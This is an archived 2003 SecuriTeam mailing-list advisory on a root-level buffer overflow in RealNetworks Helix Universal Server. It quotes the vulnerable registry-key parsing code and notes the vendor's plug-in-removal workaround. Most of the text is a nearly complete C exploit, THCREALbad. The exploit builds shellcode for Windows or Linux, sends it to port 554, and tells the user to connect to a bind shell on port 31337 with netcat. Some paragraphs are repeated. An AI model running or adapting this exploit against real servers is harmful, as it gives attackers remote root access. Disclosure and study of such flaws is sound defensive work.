

[NEWS] Helix Universal Server Vulnerability (../../, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0076.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 08/26/03

To: list@securiteam.com

Date: 26 Aug 2003 10:58:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Helix Universal Server Vulnerability (../../, Exploit)

SUMMARY

" <<http://www.realnworks.com/products/server/>> Helix Universal Server, the universal media server is a true performance breakthrough, which can deliver over 10,000 concurrent audio streams on standard hardware. It has also been optimized to meet the needs of a variety of different business applications and service providers. RealNetworks' systems technology has powered the largest live Web casts on the Internet, and leads the industry in system reliability, redundancy and security to ensure the success of every digital media implementation."

Helix Universal Server is vulnerable to a root exploit when certain types of character strings appear in large numbers within URLs destined for the Server's protocol parsers. RealNetworks Proxy products are not vulnerable to this exploit.

DETAILS

Vulnerable Systems:

* Helix Universal Server 9 and earlier versions (RealSystem Server 8, 7 and RealServer G2)

Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

Vulnerable code:

```
ServRegKey::ServRegKey(const char* pszKey, RegistryMemCache* pMemCache,  
char chDelim)
```

```
    : m_pRegMemCache(pMemCache)  
{  
    if (!pszKey || !*pszKey)  
    {  
        return;  
    }  
    m_pCurrPtr = pszKey;  
  
    // We have to go through this two step process because of a problem  
with  
    // the 16 bit compiler.  
    char* pTmpPtrs2[1024]; <----egads!  
    const char** pTmpPtrs = (const char**)pTmpPtrs2;  
    pTmpPtrs[0] = pszKey;  
  
    /*  
    * loop to find out how many levels are there in this key string  
    * pointers in the string to the various sub-strings are stored in  
    * a temporary array, which will then be xferred to a dynamic array  
    * stored along with the key. this will speed up the sub-string  
    * operations done later.  
    */  
    m_nLevels = 1;  
    m_nSize = 1;  
    while (*m_pCurrPtr)  
    {  
        if (*m_pCurrPtr == chDelim)  
        {  
            if (m_pCurrPtr > pszKey)  
            {  
                pTmpPtrs[m_nLevels] = m_pCurrPtr;  
                m_nLevels++;  
            }  
        }  
        m_nSize++;  
        m_pCurrPtr++;  
    }  
    pTmpPtrs[m_nLevels] = m_pCurrPtr;  
    ...
```

What happens here is that an array of pointers to your string is added to every time a "/" is found. So enough ../.. action and the return address is changed to point to an area of memory you control on the heap.

Notice that there is no magic number associated with this bug – it's extremely reliable. In fact, if you gave it enough time and energy, you could finally have a chance to use your multiple-platform shellcode. Dave didn't bother though, since you can make an OPTIONS query to get the exact

Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

version and platform from any remote RealServer.

What happens here is that an array of pointers to your string is added to every time a "/" is found. So enough ../.. action and the return address is changed to point to an area of memory you control on the heap.

Notice that there is no magic number associated with this bug – it's extremely reliable. In fact, if you gave it enough time and energy, you could finally have a chance to use your multiple–platform shellcode. Dave didn't bother though, since you can make an OPTIONS query to get the exact version and platform from any remote RealServer.

If you were one of the few people who was compiling your Helix Server from scratch (they offer it via a Open Source license) then you can easily patch this bug and be done with it, without removing .so files or doing anything like that. If you have to wait for Real to send you a new binary, then you're stuck. It's highly exploitable on x86 or another unaligned architecture (e.g. Linux, FreeBSD, and Win32), and very difficult to exploit on SPARC or another word aligned system. (If that didn't make sense to you, just think "Linux, Windows, and FreeBSD GOOD. Solaris, IRIX, Tru64 BAD).

Vendor Status:

RealNetworks has verified that vulnerability to this exploit can be effectively closed by removing the RealNetworks View Source plug–in from the /Plugins directory and restarting the Server process.

- * vsrclin.so (UNIX)
- * vsrclin.dll (Windows)

The View Source Plug–in is responsible for reading and displaying file format headers of media files accessible to the file systems loaded by the Server. Removal of this plug–in will not hinder on–demand or live streaming delivery or logging and authentication services of the product. With the plug–in removed however, the Content Browsing feature will be disabled.

RealNetworks considers the removal of the View Source Plug–in a work–around for this issue, we will be making a new version of the Helix Universal Server available to all current customers that resolves this problem and does not require system administrators to remove any shipping components post installation.

Once the new version is available, RealNetworks will urge customer to upgrade.

For more information:

<<http://www.service.real.com/help/faq/security/rootexploit082203.html>>
<http://www.service.real.com/help/faq/security/rootexploit082203.html>

Exploit Code:

```
/******
```


Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

```
"\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2"  
"\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70";
```

```
void usage();
```

```
int main(int argc, char *argv[])
```

```
{  
    unsigned short realport=554;  
    unsigned int sock,addr,os,rc;  
    unsigned char *finalbuffer,*osbuf;  
    struct sockaddr_in mytcp;  
    struct hostent * hp;  
    WSADATA wsaData;
```

```
    printf("\nTHCREALbad v0.4 – Wind0wZ & Linux remote root sploit for  
    Realservers 8+9\n");  
    printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
```

```
    if(argc<3 || argc>3)  
        usage();
```

```
    finalbuffer = malloc(2000);  
    memset(finalbuffer,0,2000);
```

```
    strcpy(finalbuffer,attackbuffer1);  
    os = (unsigned short)atoi(argv[2]);  
    switch(os)  
    {  
        case WINDOWS:  
            decoder[11]=0x90;  
            break;  
        case LINUX:  
            decoder[11]=0x05;  
            break;  
        case OSTESTMODE:  
            break;  
        default:  
            printf("\nillegal OS value!\n");  
            exit(-1);  
    }
```

```
    strcat(finalbuffer,decoder);
```

```
    if(os==WINDOWS)  
        strcat(finalbuffer,w32shell);  
    else  
        strcat(finalbuffer,linuxshell);
```

```
    strcat(finalbuffer,attackbuffer2);
```

Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

```
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
{
printf("WSAStartup failed !\n");
exit(-1);
}

hp = gethostbyname(argv[1]);

if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) )
{
printf("Unable to resolve %s\n",argv[1]);
exit(-1);
}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock)
{
printf("socket() error...\n");
exit(-1);
}

if (hp != NULL)
memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
else
mytcp.sin_addr.s_addr = addr;

if (hp)
mytcp.sin_family = hp->h_addrtype;
else
mytcp.sin_family = AF_INET;

mytcp.sin_port=htons(realport);

rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
if(rc==0)
{
if(os==OSTESTMODE)
{
send(sock,ostestmode,sizeof(ostestmode),0);
Sleep(1000);
osbuf = malloc(2000);
memset(osbuf,0,2000);
recv(sock,osbuf,2000,0);
if(*osbuf != '\0')
for(; *osbuf != '\0';)
{
if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))
{
```

Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

```
if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' &&
*(osbuf + 3) ==
'\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72')
{
osbuf += 7;
printf("\nDetected OS: ");
while(*osbuf != '\n')
printf("%c", *osbuf++);
printf("\n");
break;
}
}
osbuf++;
}
free(osbuf);
}
else
{
send(sock,finalbuffer,2000,0);
printf("\nexploit send .... sleeping a while ....\n");
Sleep(1000);
printf("\nok ... now try to connect to port 31337 via netcat !\n");
}
}
else
printf("can't connect to realserver port!\n");

shutdown(sock,1);
closesocket(sock);
free(finalbuffer);
exit(0);
}

void usage()
{
unsigned int a;
printf("\nUsage: <Host> <OS>\n");
printf("0 = WindowZ\n");
printf("1 = Linux\n");
printf("2 = OS Test Mode\n");
exit(0);
}
```

ADDITIONAL INFORMATION

The vulnerability information has been provided by
<mailto:dave@immunitysec.com> Dave Aitel
Exploit by: Johnny Cyberpunk thehackerschoice

=====

Securiteam: [NEWS] Helix Universal Server Vulnerability (../.., Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.